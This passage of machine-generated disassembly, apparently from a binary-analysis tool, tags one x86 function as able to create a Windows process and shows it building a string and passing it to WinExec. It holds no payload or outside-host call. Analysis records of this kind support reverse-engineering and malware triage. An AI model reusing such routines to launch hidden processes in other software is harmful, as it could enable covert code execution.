call fcn.00403a68
ret

Function at 0x414c08
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ed0
xor eax, eax
push ebp
push 0x414c7b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00403f40
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x414c90
call fcn.00403d2c
mov eax, dword [ebp - 8]
call fcn.00403ee0
push eax
call sub.KERNEL32.DLL_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414c82
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403a68
ret